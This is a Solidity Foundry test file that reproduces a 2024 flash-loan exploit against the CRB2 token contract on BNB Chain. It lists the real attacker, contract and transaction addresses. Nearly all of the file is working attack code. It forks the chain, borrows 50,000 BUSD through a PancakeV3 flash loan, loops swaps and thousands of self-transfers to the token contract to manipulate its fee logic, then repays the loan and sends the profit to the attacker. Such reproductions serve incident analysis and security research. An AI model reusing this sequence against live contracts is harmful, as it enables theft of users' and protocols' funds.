src/test/2024-06/Crb2_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7// @KeyInfo - Total Lost : 15k
8// Attacker : https://bscscan.com/address/0x65bba34c11add305cb2a1f8a68cecbd6e75089cd
9// Attack Contract : https://bscscan.com/address/0x73ceea4C6571DbCf9BCc9eA77b1D8107b1D46280
10// Vulnerable Contract : https://bscscan.com/address/0xee6De822159765daf0Fd72d71529d7ab026ec2f2
11// Attack Tx : https://bscscan.com/tx/0xde59f5bd65e8f48e5b6137a3b4251afbb9b6240d1036fa6f030e21ab6d950aac
12 
13// @Info
14// Vulnerable Contract Code : https://bscscan.com/address/0xee6De822159765daf0Fd72d71529d7ab026ec2f2#code
15 
16// @Analysis
17// Post-mortem :
18// Twitter Guy :
19// Hacking God :
20pragma solidity ^0.8.0;
21 
22contract crb2 is Test {
23    uint256 blocknumToForkFrom = 39_651_175;
24    address user = 0x65bBA34C11aDd305cB2A1f8A68ceCbd6E75089Cd;
25    IERC20 crb_token;
26    IERC20 busd;
27    address pair;
28    Uni_Pair_V3 flashLoan;
29    IRouter router;
30 
31    function setUp() public {
32        vm.createSelectFork("bsc", blocknumToForkFrom);
33        vm.deal(user, 0.2 ether);
34 
35        router = IRouter(0x10ED43C718714eb63d5aA57B78B54704E256024E);
36        crb_token = IERC20(0xee6De822159765daf0Fd72d71529d7ab026ec2f2);
37        busd = IERC20(0x55d398326f99059fF775485246999027B3197955);
38        pair = 0x03b051dF794b36E1767cD083fFfDEbbF573eCDA6;
39        flashLoan = Uni_Pair_V3(0x46Cf1cF8c69595804ba91dFdd8d6b960c9B0a7C4);
40 
41        busd.approve(address(router), type(uint256).max);
42 
43        crb_token.approve(address(router), type(uint256).max);
44    }
45 
46    function testExploit() public {
47        vm.startPrank(user, user);
48        busd.approve(address(router), type(uint256).max);
49        busd.approve(address(this), type(uint256).max);
50        crb_token.approve(address(this), type(uint256).max);
51        vm.stopPrank();
52        emit log_named_decimal_uint("busd", busd.balanceOf(address(user)), 18);
53 
54        flashLoan.flash(address(this), 50_000 * 1e18, 0, new bytes(1));
55        emit log_named_decimal_uint("busd", busd.balanceOf(address(user)), 18);
56    }
57 
58    function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) public {
59        address[] memory buyPath = new address[](2);
60        buyPath[0] = address(busd);
61        buyPath[1] = address(crb_token);
62 
63        address[] memory sellPath = new address[](2);
64        sellPath[0] = address(crb_token);
65        sellPath[1] = address(busd);
66 
67        for (uint256 index = 0; index < 70; index++) {
68            router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
69                busd.balanceOf(address(pair)) / 10, 0, buyPath, address(this), block.timestamp
70            );
71            router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
72                crb_token.balanceOf(address(this)), 0, sellPath, address(this), block.timestamp
73            );
74        }
75        busd.transfer(address(crb_token), 2000 * 1e18);
76        router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
77            6_635_861_088_657_488_493_824, 0, buyPath, address(user), block.timestamp
78        );
79 
80        router.swapExactTokensForTokensSupportingFeeOnTransferTokens(1e18, 0, buyPath, address(this), block.timestamp);
81        uint256 amount = crb_token.balanceOf(address(this)) / 10_000;
82        for (uint256 index = 0; index < 100; index++) {
83            crb_token.transfer(address(crb_token), amount);
84        }
85        busd.transfer(address(crb_token), 2000 * 1e18);
86        for (uint256 index = 0; index < 250; index++) {
87            crb_token.transfer(address(crb_token), amount);
88        }
89        crb_token.transferFrom(user, address(this), crb_token.balanceOf(address(user)) / 2);
90        crb_token.transfer(address(crb_token), crb_token.balanceOf(address(this)) - amount * 10_000);
91        busd.transferFrom(user, address(this), busd.balanceOf(address(user)));
92 
93        for (uint256 index = 0; index < 3000; index++) {
94            crb_token.transfer(address(crb_token), amount);
95        }
96 
97        busd.transfer(address(flashLoan), 50_025 * 1e18);
98        busd.transfer(user, busd.balanceOf(address(this)));
99    }
100}